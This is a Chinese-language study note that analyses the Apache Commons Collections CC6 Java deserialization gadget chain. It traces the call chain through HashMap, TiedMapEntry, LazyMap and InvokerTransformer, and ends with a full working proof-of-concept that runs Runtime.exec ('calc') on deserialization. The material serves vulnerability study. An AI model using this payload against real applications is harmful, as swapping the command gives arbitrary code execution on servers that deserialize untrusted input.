CommonsCollections6分析
CommonsCollections6
LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject 中有没有setValue没任何关系在java8u71以后sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了
解决java高版本利用问题,实际上就是在上下文中是否还有其他调用LazyMap#get()的地方
org.apache.commons.collections.keyvalue.TiedMapEntry 在getValue方法中调用了this.map.get
直接分析那块调用了LazyMap类中的get() CC6中给出了这个类 TiedMapEntry中的HashCode我们直接进入TiedMapEntry进行分析
调用链
```java ObjectInputStream.readObject() | HashMap.ReadObject() | HashMap.put() | HashMap.putval() | HashMap.hash() | HashMap.hashCode() | TiedMapEntry.hashCode() | LazyMap.get() | ChainedTransformer.transform() | InvokeTransformer.transform() ```
ysoserial版本调用链
/* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() by @matthias_kaiser */
一些类的分析
TiedMapEntry类分析
TiedMapEntry接收一个map类的值 一个key
TiedMapEntry中的hashCode调用了getValue()
跟到getvalue()中 可以看到这里有个map.get 我们只需要将map值传LazyMap即可触发LazyMap.get()
通过这里我们就直接可以构造
前面部分和CC1 LazyMap版本一样 让LazyMap.get触发命令执行
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> map=new HashMap<Object, Object>(); //置空 防止序列化时调用 Map<Object,Object> lazyMap=LazyMap.decorate(map,new ConstantTransformer(1));
和cc1的区别是我们接下来不是用AnnotationInvocationHandler#readObject去触发 而是使用TiedMapEntry 类去触发
TiedMapEntry tiedMapEntry=newTiedMapEntry(lazyMap,"aaaa");
这里使用的是HashSet来进行构造,将前面的TiedMapEntry实例化对象添加进去。后面还调用了lazyMap.remove方法将aaaa给移除,这是因为在执行的时候如果没使用lazyMap.remove将aaaa给移除掉将不会进入到该判断语句里面去
HashMap<Object,Object> map2=new HashMap<Object, Object>(); map2.put(tiedMapEntry,"bbb"); lazyMap.remove("aaaa");
这里 如果传入的key不等于false就不会执行transform就无法执行命令 所以需要remove将aaaa移除掉
之后剩下的部分和cc1 TransformedMap版本中一样 使HashMap put触发hashcode()
最终poc
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class cc6{ public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> map=new HashMap<Object, Object>(); // 置空 防止序列化时调用 Map<Object,Object> lazyMap=LazyMap.decorate(map,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaaa"); HashMap<Object,Object> map2=new HashMap<Object, Object>(); map2.put(tiedMapEntry,"bbb"); lazyMap.remove("aaaa"); //通过反射修改值 Class c =LazyMap.class; Field factoryField=c.getDeclaredField("factory"); System.out.println(factoryField); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map2); oos.close(); ObjectInputStream ois =new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o=ois.readObject(); System.out.println(o); } }
参考学习
P神java代码审计